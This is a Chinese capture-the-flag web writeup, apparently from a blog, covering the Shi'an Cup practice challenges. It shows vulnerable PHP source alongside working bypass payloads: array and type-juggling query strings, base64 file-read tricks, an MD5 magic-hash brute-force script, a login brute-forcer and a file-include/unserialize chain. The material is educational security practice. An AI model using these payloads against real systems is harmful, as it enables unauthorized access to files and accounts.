[第四届世安杯](web)writeup
ctf入门级题目
<?php
$flag = '*********';
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo '<p class="alert">You password must be alphanumeric</p>';
else if (strpos ($_GET['password'], '--') !== FALSE)
die($flag);
else
echo '<p class="alert">Invalid password</p>';
}
?>
<section class="login">
<div class="title">
<a href="./index.phps">View Source</a>
</div>
<form method="POST">
<input type="text" required name="password" placeholder="Password" /><br/>
<input type="submit"/>
</form>
</section>
</body>
</html>
利用ereg和strops处理数组的漏洞,提交?password[]=1
flag{Maybe_using_rexpexp_wasnt_a_clever_move}
曲奇饼
观察链接,file后面是一个base64,解码为key.txt并没有什么用。将index.phpbase64,然后不断修改line读取源码。
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=a2V5LnR4dA==");
$file_list = array(
'0' =>'key.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['key']) && $_COOKIE['key']=='li_lr_480'){
$file_list[2]='thisis_flag.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
view-source:http://ctf1.shiyanbar.com/shian-quqi/index.php?line=&file=dGhpc2lzX2ZsYWcucGhw
flag{UHGgd3rfH*(3HFhuiEIWF}
类型
<?php
show_source(__FILE__);
$a=0;
$b=0;
$c=0;
$d=0;
if (isset($_GET['x1']))
{
$x1 = $_GET['x1'];
$x1=="1"?die("ha?"):NULL;
switch ($x1)
{
case 0:
case 1:
$a=1;
break;
}
}
$x2=(array)json_decode(@$_GET['x2']);
if(is_array($x2)){
is_numeric(@$x2["x21"])?die("ha?"):NULL;
if(@$x2["x21"]){
($x2["x21"]>2017)?$b=1:NULL;
}
if(is_array(@$x2["x22"])){
if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
$p = array_search("XIPU", $x2["x22"]);
$p===false?die("ha?"):NULL;
foreach($x2["x22"] as $key=>$val){
$val==="XIPU"?die("ha?"):NULL;
}
$c=1;
}
}
$x3 = $_GET['x3'];
if ($x3 != '15562') {
if (strstr($x3, 'XIPU')) {
if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
$d=1;
}
}
}
if($a && $b && $c && $d){
include "flag.php";
echo $flag;
}
?>
最后:
x1=1a&x2={"x21":"2018a","x22":[[0],0]}&x3=XIPU18570
绕过x3的脚本
import hashlib
for i in xrange(1000000):
s = 'XIPU' + str(i)
mymd5 = hashlib.md5()
mymd5.update(s)
mymd5 = mymd5.hexdigest()
flag = 1
if mymd5[8:10] == '0e':
for j in mymd5[10:24]:
if j.isalpha():
flag = 0
break
if flag == 1:
print s
break
CTF{Php_1s_bstl4_1a}
登录
源码提示:<!-- 听说密码是一个五位数字 -->,那就直接进行爆破好了
import requests
import re
s = requests.Session()
def get_rancode():
response = s.get("http://ctf1.shiyanbar.com/shian-s/index.php")
html = response.text
regex = re.compile('\d\d\d')
code = regex.findall(html)
return code[0]
if __name__ == '__main__':
for password in range(9999, 99999):
code = get_rancode()
url = "http://ctf1.shiyanbar.com/shian-s/index.php?username=admin&password={}&randcode={}".format(
str(password), code)
proxy={"http":"http://127.0.0.1:8080"}
response = s.get(url)
text = response.text
if "flag" in text:
print url
break
脚本哪错了?没跑出来,不懂
admin
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
读取class.php:
<?php
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
读取index.php:
<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
if(preg_match("/f1a9/",$file)){
exit();
}else{
include($file); //class.php
$pass = unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin ! ";
}
?>
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
再通过序列化读取flag:
哦豁。。第一个也可以用php://input 而不是远程包含绕过
flag_Xd{hSh_ctf:e@syt0g3t}
小记:emm....这种水平的比赛...确实对于某些水平来是浪费时间...感觉自己到了一个瓶颈,难的比赛又不会,一些比较简单的所获甚微。哎....还是要学啊
[第四届世安杯](web)writeup的更多相关文章
- 【CTF MISC】pyc文件反编译到Python源码-2017世安杯CTF writeup详解
1.题目 Create-By-SimpleLab 适合作为桌面的图片 首先是一张图片,然后用StegSolve进行分析,发现二维码 扫码得到一串字符 03F30D0A79CB0558630000000 ...
- 【CTF MISC】文件内容反转方法-2017世安杯CTF writeup详解
Reverseme 用winhex打开,发现里面的字符反过来可以正常阅读,所以文件被倒置了 Python解题程序如下 with open('reverseMe','rb') as f: with op ...
- 第一届“信安杯”部分WriteUp
第一届"信安杯"部分WriteUp------OooooohLeeGay队! 小队成员(按姓氏):郭泽坤.李江川.赵乐祺 以下这部分是做出来的 2019.11.23-24 ++Re ...
- CTF 湖湘杯 2018 WriteUp (部分)
湖湘杯 2018 WriteUp (部分),欢迎转载,转载请注明出处! 1. CodeCheck(WEB) 测试admin ‘ or ‘1’=’1’# ,php报错.点击登录框下面的滚动通知,URL ...
- 2017湖湘杯复赛writeup
2017湖湘杯复赛writeup 队伍名:China H.L.B 队伍同时在打 X-NUCA 和 湖湘杯的比赛,再加上周末周末周末啊,陪女朋友逛街吃饭看电影啊.所以精力有点分散,做出来部分题目,现在 ...
- ISG 2018 Web Writeup
作者:agetflag 原文来自:ISG 2018 Web Writeup ISG 2018 Web Writeup CTF萌新,所以写的比较基础,请大佬们勿喷,比赛本身的Web题也不难 calc 首 ...
- python 3.x上安裝web.py
python 3.x上安裝web.py 查询之后,安装时使用pip3 install web.py==0.40.dev0 最終可以运行 app.py import weburls=( '/',' ...
- [SHA2017](web) writeup
[SHA2017](web) writeup Bon Appétit (100) 打开页面查看源代码,发现如下 自然而然想到php伪协议,有个坑,看不了index.php,只能看 .htaccess ...
- 2019 第二届 科成安洵杯 官方WriteUp -17网安
长文预警:对应源码请加企鹅群获取:861677907 0x01 WEB 1.1 勇闯贪吃蛇大冒险 一进去就看出来是一道web页面JS的小游戏,提示说输入CDUESTC CTF即可闯关成功,但是存在着d ...
随机推荐
- 3、网络并发编程--udp代码、操作系统发展史、多道技术、进程理论
昨日内容回顾 socket基本使用 # 内置的模块 import socket s = socket.socket() # 默认是TCP协议 也可以切换为UDP协议 s.bind((ip,port)) ...
- Node.JS学习——学习笔记
Node.JS--学习笔记 2020年02月23日11:52:01 我打算自学NodeJS-通过阅读NodeJS官网来完成. https://nodejs.org/dist/latest-v13.x/ ...
- mac 调出任何来源方法
如果没有这个选项的话(macOS Sierra 10.12),打开终端,执行sudo spctl --master-disable即可 这可以很好的解决掉 部分软件 显示已损坏的办法
- 攻防世界之Web_unserialize3
题目: 直接给源码,审计代码,又是一题反序列化的.传送门:反序列化漏洞 [原理] PHP反序列化漏洞:执行unserialize()时,先会调用__wakeup(). 当序列化字符串中属性值个数大于属 ...
- [GAME] [Civilization] 文明6字体及字体大小修改
一.前言 文明作为一款文本信息量较大的游戏,提供的字体和UI界面设置还是偏少了一些,对干眼用户极不友好 二.用户界面整体缩放 首先是游戏自带的缩放选项:图象选项-图像-UI质量提升,设置为150%或更 ...
- Renix软件如何添加VLAN头部——网络测试仪实操
一.添加VLAN头部 打开Renix软件,连接机箱, 预约端口 添加VLAN头部,选中"IPv4 Header"右键选择"Insert Before",会弹出& ...
- 入手这个商业智能工具,建设自助式BI平台轻松搞定
数据的重要性无需多言,可数据的获取和使用却依然不是一件容易的事.尤其是对企业中不掌握数据的广大业务人员,对数据又爱又恨,对掌握数据对IT部门,更是恨多爱少,为了拿到数据分析数据,不断的申请.催促.沟 ...
- IComparer、IComparable、StringComparison枚举、CultureInfo 的用法
IEnumerable<T> 和 IEnumerator<T>.泛型版本是新式代码的首要选项. InvariantCulture:程序间.程序数据库.程序网络交互用Invari ...
- 微服务从代码到k8s部署应有尽有系列(九、事务精讲)
我们用一个系列来讲解从需求到上线.从代码到k8s部署.从日志到监控等各个方面的微服务完整实践. 整个项目使用了go-zero开发的微服务,基本包含了go-zero以及相关go-zero作者开发的一些中 ...
- linux 解决磁盘占用100%
df -h 查看磁盘使用情况 ll -h 查看文件的大小 使用如下命令查找大于100M的大文件,发现有几个日志文件及临时文件比较大,使用rm –rf删除即可. find / -size +10 ...